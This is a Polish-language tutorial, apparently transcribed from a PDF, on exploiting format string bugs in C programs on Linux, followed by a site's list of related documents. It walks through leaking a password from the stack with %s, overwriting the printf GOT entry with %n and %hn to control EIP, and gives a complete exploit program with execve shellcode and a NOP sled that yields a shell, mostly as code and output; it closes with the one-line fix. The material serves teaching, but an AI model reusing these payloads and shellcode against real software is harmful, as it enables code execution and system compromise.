Błędy łańcuchów formatujących (format string) by h07

Wielkość: px
Rozpocząć pokaz od strony:

Download "Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)"

Transkrypt

1 Błędy łańcuchów formatujących (format string) by h07 Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący) umoŝliwiają wypełnianie łańcuchów znakowych odpowiednimi danymi. Przykład.. //printf.c int main() int cena = 65; printf("ksiazka kosztuje %d zl\n", cena); return 0; format]$ gcc -o printf printf.c format]$./printf Ksiazka kosztuje 65 zl Rezultatem działania przykładowego programu printf.c jest wyświetlenie łańcucha znakowego wypełnionego danymi w sposób określony przez programistę. Specyfikator %d umoŝliwia wyświetlenie wartości typu całkowitego w systemie dziesiętnym. W naszym przypadku argumentem specyfikatora %d była zmienna int cena. Błędy łańcuchów formatujących występują wówczas, gdy ilość specyfikatorów jest większa od ilości odpowiadających im argumentów. Brakujące wartości pobierane są ze stosu co w rezultacie umoŝliwia hakerowi podejrzenie zawartości stosu w celu odczytania istotnych danych lub przejęcia kontroli nad wykonywaniem programu. Podgląd zawartości stosu. Przykładowy program fmt.c podatny jest na atak ciągu formatującego. UŜyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie daje nam moŝliwość wprowadzenia z zewnątrz własnego łańcucha formatującego. //fmt.c int main(int argc, char *argv[]) char buffer[512]; if(argc > 1) snprintf(buffer, sizeof(buffer) -1, argv[1]); printf("%s\n", buffer);

2 return 0; format]$ gcc -o fmt fmt.c format]$./fmt "%d %d %d %d %d %d %d %d %d %d" Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których nie określono argumentów zawierających wartości całkowite. Konsekwencją tego było odczytanie brakujących danych ze stosu i wyświetlenie ich w systemie dziesiętnym Specyfikator %x umoŝliwia wyświetlenie wartości w systemie 16-stkowym. format]$./fmt "%x %x %x %x %x %x %x %x %x %x" MoŜliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać? //format.c int main(int argc, char *argv[]) char buffer[150]; char *password = "hello world"; if(argc == 1 strlen(argv[1]) > 100) printf("usege: %s <password>\n", argv[0]); exit(0); if(strcmp(argv[1], password) == 0) printf("password ok\n"); else sprintf(buffer, "Access denied, bad password: %s\n", argv[1]); printf(buffer); return 0; Powyzszy program podatny jest na błąd łańcucha formatującego. Standardowo weryfikuje on poprawność hasła, po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1] umieścimy dodatkowe specyfikatory to brakujące dane zostaną pobrane ze stosu (w tym nasz tajne hasło hello world ). Aby odczytać dane ze stosu w postaci łańcucha znakowego posłuŝymy się specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków. format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " &&./format "[%$i\$x] = '%$i\$s'"; done [1] : Access denied, bad password: [ ] = 'Access denied, bad password: %s '

3 [2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s'' [3] : Segmentation fault [4] : Access denied, bad password: [0] = '(null)' [5] : Access denied, bad password: [0] = '(null)' [6] : Access denied, bad password: [40033bcc] = '' [7] : Access denied, bad password: [4002ebb4] = '' [8] : Access denied, bad password: [ ] = '' [9] : Access denied, bad password: [ ] = '' [10] : Segmentation fault [11] : Access denied, bad password: [80485e8] = 'hello world' [12] : Segmentation fault [13] : Segmentation fault [14] : Segmentation fault [15] : Segmentation fault [16] : Segmentation fault [17] : Segmentation fault [18] : Segmentation fault [19] : Segmentation fault [20] : Segmentation fault [21] : Segmentation fault [22] : Segmentation fault [23] : Segmentation fault '24] : Access denied, bad password: [ ] = ii [25] : Segmentation fault [26] : Access denied, bad password: [0] = '(null)' [27] : Segmentation fault [28] : Access denied, bad password: [ ] = [29] : Access denied, bad password: [0] = '(null)' [30] : Access denied, bad password: [bffff5a4] = ' ı ' Wykonując powyŝsze polecenie odczytaliśmy dane ze stosu (przesuniecie względem szczytu stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów %x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości szesnastkowe jak i łańcuchy znakowe. Nasze tajne hasło zostało odczytane podczas 11 iteracji pętli [11] : Access denied, bad password: [80485e8] = 'hello world' MoŜemy teraz odczytać nasze hasło stosując metodę bezpośredniego dostępu do parametru. format]$./format "%11\$s" Access denied, bad password: hello world format]$./format "hello world" Password ok Przejęcie kontroli nad wykonywaniem programu. Wykorzystanie błędów łańcuchów formatujących do przejęcia kontroli nad wykonywaniem programu nie jest rzeczą łatwą. Przede wszystkim musimy zapoznać się ze specyfikatorem %n. Ów specyfikator umieszcza ilość wyprowadzonych przed nim znaków w adresie pamięci określonym przez argument. Jeśli nie określimy argumentu dla specyfikatora %n, pobierze on brakujące dane ze stosu traktując je jako adres pod którym zostanie zapisana liczba wybprowadzonych przed nim znaków. Konsekwencją tego będzie nadpisanie niedozwolonych obszarów pamięci czyli błąd segmentacji.

4 format]$./fmt "AAAA%n" Segmentation fault I co dalej? Jeśli odnajdziemy przesunięcie względem szczytu stosu, w którym znajduje się nasz łańcuch znakowy (wypełniony konkretnym adresem) wprowadzany do programu i zmusimy specyfikator %n by pobrał nasz łańcuch jako argument to da nam to moŝliwość zapisu liczby wyprowadzonych znaków przed specyfikatorem %n w dowolnym miejscu pamięci. format]$./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x" AAAABBBB format]$./fmt "AAAA %x %x %x %x %x %x" AAAA format]$./fmt "AAAA%6\$x" AAAA Widzimy Ŝe początek naszego łańcucha znakowego znajduje się w szóstym przesunięciu względem szczytu stosu. Oznacza to, iŝ potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową reprezentacja łańcucha znakowego AAAA czyli UŜyjmy teraz specyfikatora %n zamiast %x i zobaczmy co się stanie. format]$ gdb fmt (gdb) r "AAAA%6\$n" Starting program: /home/h07/format/fmt "AAAA%6\$n" 0x in vfprintf () from /lib/tls/libc.so.6 (gdb) info reg eax 0xf 15 ecx 0x edx 0x0 0 ebx 0x4013f esp 0xbfffe5d0 0xbfffe5d0 ebp 0xbffff25c 0xbffff25c esi 0xbfffe5f edi 0x4 4 eip 0x x eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/1i $eip 0x <vfprintf+14642>: mov %edi,(%ecx) Próbowaliśmy zapisać wartość 0x4 pod adresem 0x Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA) dlatego rejestr EDI ma wartość 0x4.

5 Jednym ze sposobów zmiany sterowania programu jest modyfikacja wartości umieszczonej pod adresem funkcji znajdującej się w tabeli GOT (Global Offset Table). Do takich funkcji naleŝy między innymi funkcja printf() i pierwszym krokiem jest ustalenie jej adresu. format]$ objdump -R fmt fmt: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE e0 R_386_GLOB_DAT gmon_start d4 R_386_JUMP_SLOT libc_start_main d8 R_386_JUMP_SLOT printf dc R_386_JUMP_SLOT snprintf W naszym przypadku funkcja printf() ma adres d8. PoniewaŜ procesory zapisują adresy zaczynając od bajtów mniej znaczących musimy odwrócić kolejność bajtów adresu wprowadzanego do łańcucha formatującego d8 = \xd8\x95\x04\x08 Spróbujmy zatem nadpisac ten adres wartością 0x4 i zobaczmy co się stanie. format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n' 0x in?? () (gdb) info reg eax 0xbffff3b ecx 0xbffff edx 0x4 4 ebx 0x4013f esp 0xbffff38c 0xbffff38c ebp 0xbffff5b8 0xbffff5b8 esi 0xbffff edi 0xbffff5d eip 0x4 0x4 eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Bingo ;) Sterowanie zostało zmienione. Rejestr sterujący EIP przyjął wartość 0x4 co spowodowało skok do adresu 0x Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA? PoniewaŜ przed specyfikatorem %n umieściliśmy 4-bajtowy adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).

6 MoŜemy wywnioskować ze długość łańcucha formatującego w systemie dziesiętnym odpowiada wartości rejestru EIP w systemie szesnastkowym. Spróbujmy zatem nadpisać rejestr EIP wartością 0x4141. //convert.c int main() int RET = 0x4141; printf("length: %d\n", RET -4); return 0; format]$ gcc -o convert convert.c format]$./convert Length: format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%16701x%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n' 0x in?? () (gdb) info reg eip eip 0x4141 0x4141 Program convert.c zamienił wartość 16-stkową 0x4141 na system dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres) Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego dała rezultat nadpisania rejestru EIP wartością 0x4141. Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP pełnym (4-bajtowym) adresem np. 0x Musimy rozbić ów adres na dwie części i zapisać pierwszą z nich w adresie funkcji printf() a drugą część bezpośrednio pod tym adresem (adres funkcji printf + 2 [ d8 +2 = da = \xda\x95\x04\x08 ]). Do tego celu uŝyjemy specyfikatora %hn, który umoŝliwia zapisanie wartości 16-bitowej (2-bajtowej). jeśli A < B r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B A )x%7$hn' jeśli A > B r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A B )x%7$n' PowyŜej przedstawiony został prosty schemat ustalający długość łańcucha formatującego tak by uzyskane wartości powodowały napisanie rejestru EIP konkretnym adresem. Przykład: Adres = 0x Długość łańcucha = 8 A = hex: 4141 = dec: 16705

7 B = hex: 4242 = dec: (A < B) A: = B: = 257 (gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' 0x in?? () (gdb) info reg eip eip 0x x Adres = 0x Długość łańcucha = 8 A = hex: 4242 = dec: B = hex: 4141 = dec: (A > B) B: = A: = 257 (gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' 0x in?? () (gdb) info reg eip eip 0x x Potrafimy juŝ napisać rejestr EIP dowolnym adresem więc nadszedł czas napisać exploit który wykorzysta błąd łańcucha formatującego w programie fmt.c uruchamiając kod powłoki. //exp.c (format string exploit demo) by h07 #include <stdio.h> #define BUFF_SIZE 1000 #define LEN 8 #define NOP 0x90 char buffer[buff_size]; char fmt[80]; char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"

8 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a"; unsigned long get_esp() asm ("movl %esp,%eax"); int main(int argc, char *argv[]) unsigned long RET, offset = 0; unsigned int A, B; if(argc > 1) offset = atoi(argv[1]); RET = get_esp() - offset; A = (RET & 0xffff0000) >> 16; B = (RET & 0x0000ffff); printf("\nret: 0x%x\n", RET); if(a < B) A -= LEN; sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", A, (B - A) -LEN); else B -= LEN; sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", B, (A - B) -LEN); if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE) printf("error: buffer too small..\n"); exit(1); memset(buffer, NOP, BUFF_SIZE -1); memcpy(buffer, "EXP=", 4); memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode)); putenv(buffer); printf("\nformat string: %s\n\n", fmt); system("/bin/bash"); return 0;

9 Exploit ustala adres powrotny po przez odjęcie offsetu od wierzchołka stosu. Następnie uzyskany adres powrotny rozdzielany jest na dwie części (A i B) po czym następuje obliczanie długości łańcucha formatującego. Obliczone wartości nadpisują adres funkcji printf() i adres znajdujący się pod nią uzyskując 16-stkową reprezentacje adresu do którego zostanie wykonany skok. Na samym koncu tworzona jest zmienna systemowa $EXP o rozmiarze 1000 bajtów która wypełniana jest instrukcjami NOP a później shellcodem. Odpalamy exploit: format]$ gcc -o exp exp.c format]$./exp -400 RET: 0xbffff748 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' Segmentation fault format]$./exp -800 RET: 0xbffff8d8 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' sh-2.05b$ W ten oto sposób wykorzystaliśmy błąd łańcucha formatującego w programie fmt.c zmieniając jego sterowanie i uruchamiając kod powłoki znajdujący się w zmiennej systemowej $EXP. Outro. Błąd łańcucha formatującego znajdujący się w programie fmt.c jest bardzo łatwy do naprawienia. Wystarczy umieścić w funkcji snprinf() formater określający sposób formatowania danych. snprintf(buffer, sizeof(buffer) -1, argv[1]); //źle snprintf(buffer, sizeof(buffer) -1, "%s", argv[1]); //dobrze Ataki typu format string stają się coraz rzadsze. Nie znaczy to jednak ze błędy tego typu nie mają juz miejsca czego przykładem jest między innymi serwer FTP wu-ftp EoF;

Buffer Overflow (art. 2) by h07 (h07@interia.pl)

Buffer Overflow (art. 2) by h07 (h07@interia.pl) Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania

Bardziej szczegółowo

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje

Bardziej szczegółowo

Ćwiczenie 3. Konwersja liczb binarnych

Ćwiczenie 3. Konwersja liczb binarnych 1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się

Bardziej szczegółowo

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane Stałe Oprócz zmiennych w programie mamy też stałe, które jak sama nazwa mówi, zachowują swoją wartość przez cały czas działania programu. Można

Bardziej szczegółowo

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu Informatyka, Ćwiczenie 1 1. Uruchomienie Microsoft Visual C++ I. ZałoŜenie nowego projektu Wybieramy menu: File>New>Files jak na rys. poniŝej Zapisujemy projekt pod nazwą LAN, w katalogu d:\temp\lab typu

Bardziej szczegółowo

2 Przygotował: mgr inż. Maciej Lasota

2 Przygotował: mgr inż. Maciej Lasota Laboratorium nr 2 1/7 Język C Instrukcja laboratoryjna Temat: Wprowadzenie do języka C 2 Przygotował: mgr inż. Maciej Lasota 1) Wprowadzenie do języka C. Język C jest językiem programowania ogólnego zastosowania

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym

Bardziej szczegółowo

Pliki. Informacje ogólne. Obsługa plików w języku C

Pliki. Informacje ogólne. Obsługa plików w języku C Pliki Informacje ogólne Plik jest pewnym zbiorem danych, zapisanym w systemie plików na nośniku danych (np. dysku twardym, pendrive, płycie DVD itp.). Może posiadać określone atrybuty, a odwołanie do niego

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie

Bardziej szczegółowo

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory Programowanie I C / C++ laboratorium 03 arytmetyka, operatory Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-19 Typ znakowy Typ znakowy Typ wyliczeniowy # include

Bardziej szczegółowo

Wstęp do Programowania, laboratorium 02

Wstęp do Programowania, laboratorium 02 Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite

Bardziej szczegółowo

Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych

Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych Przykłady wykorzystanie funkcji printf i scanf do wyświetlania danych na wyświetlaczu LCD oraz komunikacji sterownika mikroprocesorowego

Bardziej szczegółowo

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main. Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.

Bardziej szczegółowo

1. Wprowadzanie danych z klawiatury funkcja scanf

1. Wprowadzanie danych z klawiatury funkcja scanf 1. Wprowadzanie danych z klawiatury funkcja scanf Deklaracja int scanf ( const char *format, wskaźnik, wskaźnik,... ) ; Biblioteka Działanie stdio.h Funkcja scanf wczytuje kolejne pola (ciągi znaków),

Bardziej szczegółowo

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w

Bardziej szczegółowo

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik Wykład VI Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2014 c Copyright 2014 Janusz Słupik Operacje na plikach Operacje na plikach Aby móc korzystać z pliku należy go otworzyć w odpowiednim

Bardziej szczegółowo

VII. Ciągi znaków łańcuchy

VII. Ciągi znaków łańcuchy VII. Ciągi znaków łańcuchy 7.1. Wczytywanie tekstu Do tej pory poznaliśmy metodę wczytywania i wyświetlania liczb. Tak samo jak liczby moŝemy wczytać jeden znak, jednak co zrobić jeśli chcielibyśmy wczytać

Bardziej szczegółowo

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA Metodyki i Techniki Programowania 1 1 ZAJ CIA 3. 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA IDE zintegrowane środowisko programistyczne, zawierające kompilator, edytor tekstu i linker,

Bardziej szczegółowo

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,

Bardziej szczegółowo

Ćwiczenie nr 6. Programowanie mieszane

Ćwiczenie nr 6. Programowanie mieszane Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu

Bardziej szczegółowo

Podstawy programowania C. dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/

Podstawy programowania C. dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/ Podstawy programowania C dr. Krystyna Łapin http://www.mif.vu.lt/~moroz/c/ Tematy Struktura programu w C Typy danych Operacje Instrukcja grupująca Instrukcja przypisania Instrukcja warunkowa Struktura

Bardziej szczegółowo

Pobieranie argumentów wiersza polecenia

Pobieranie argumentów wiersza polecenia Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:

Bardziej szczegółowo

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,

Bardziej szczegółowo

Funkcja (podprogram) void

Funkcja (podprogram) void Funkcje Co to jest funkcja? Budowa funkcji Deklaracja, definicja i wywołanie funkcji Przykłady funkcji definiowanych przez programistę Przekazywanie argumentów do funkcji Tablica jako argument funkcji

Bardziej szczegółowo

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24 Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.

Bardziej szczegółowo

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie

Bardziej szczegółowo

Zasady programowania Dokumentacja

Zasady programowania Dokumentacja Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika

Bardziej szczegółowo

[ Odnajdywanie shellcodu w procesach zdalnych. ]

[ Odnajdywanie shellcodu w procesach zdalnych. ] [ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego

Bardziej szczegółowo

Język ludzki kod maszynowy

Język ludzki kod maszynowy Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza

Bardziej szczegółowo

1 Podstawy c++ w pigułce.

1 Podstawy c++ w pigułce. 1 Podstawy c++ w pigułce. 1.1 Struktura dokumentu. Kod programu c++ jest zwykłym tekstem napisanym w dowolnym edytorze. Plikowi takiemu nadaje się zwykle rozszerzenie.cpp i kompiluje za pomocą kompilatora,

Bardziej szczegółowo

Program 14. #include #include using namespace std;

Program 14. #include <iostream> #include <ctime> using namespace std; Program 14 Napisać: * funkcję słuŝącą do losowego wypełniania tablicy liczbami całkowitymi z podanego zakresu (*). Parametrami funkcji mają być tablica, jej długość oraz dwie liczby stanowiące krańce przedziału

Bardziej szczegółowo

KURS C/C++ WYKŁAD 6. Wskaźniki

KURS C/C++ WYKŁAD 6. Wskaźniki Wskaźniki KURS C/C++ WYKŁAD 6 Każda zmienna ma unikalny adres wskazujący początkowy obszar pamięci zajmowany przez tą zmienną. Ilość pamięci zajmowanej przez zmienną zależy od typu zmiennej. Adres można

Bardziej szczegółowo

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH: Instrukcja do laboratorium 4, (2x2h) Opracowanie i prowadzenie: dr inż. Ignacy Pardyka, Uniwersytet Jana Kochanowskiego w Kielcach Temat: Architektura MIPS: wywołanie

Bardziej szczegółowo

۰ Elementem jednostkowym takiego pliku jest bajt. ۰ Format pliku binarnego: [bajty pliku][eof]

۰ Elementem jednostkowym takiego pliku jest bajt. ۰ Format pliku binarnego: [bajty pliku][eof] 1 Plik jest wydzielonym fragmentem pamięci (najczęściej dyskowej) posiadającym nazwę. Z punktu widzenia C plik jest ciągiem bajtów, z których każdy może zostać oddzielnie odczytany. Zgodnie ze standardem

Bardziej szczegółowo

Napisy w PHP. Drukowanie napisów instrukcją echo

Napisy w PHP. Drukowanie napisów instrukcją echo Napisy w PHP. Drukowanie napisów instrukcją echo 1. Ćwiczenia do samodzielnego wykonania Wszystkie poniższe ćwiczenia należy samodzielnie wykonać wpisując w edytorze bez stosowania techniki kopiuj-wklej.

Bardziej szczegółowo

Optymalizacja szelkodów w Linuksie

Optymalizacja szelkodów w Linuksie Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie

Bardziej szczegółowo

Krótkie wprowadzenie do korzystania z OpenSSL

Krótkie wprowadzenie do korzystania z OpenSSL Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction

Bardziej szczegółowo

Programowanie strukturalne i obiektowe

Programowanie strukturalne i obiektowe Programowanie strukturalne i obiektowe Język C część I Opracował: Grzegorz Flesik Literatura: A. Majczak, Programowanie strukturalne i obiektowe, Helion, Gliwice 2010 P. Domka, M. Łokińska, Programowanie

Bardziej szczegółowo

#include int main( ) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); }

#include <stdio.h> int main( ) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); } OPERACJE WEJŚCIA / WYJŚCIA Funkcja: printf() biblioteka: wysyła sformatowane dane do standardowego strumienia wyjściowego (stdout) int printf ( tekst_sterujący, argument_1, argument_2,... ) ;

Bardziej szczegółowo

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

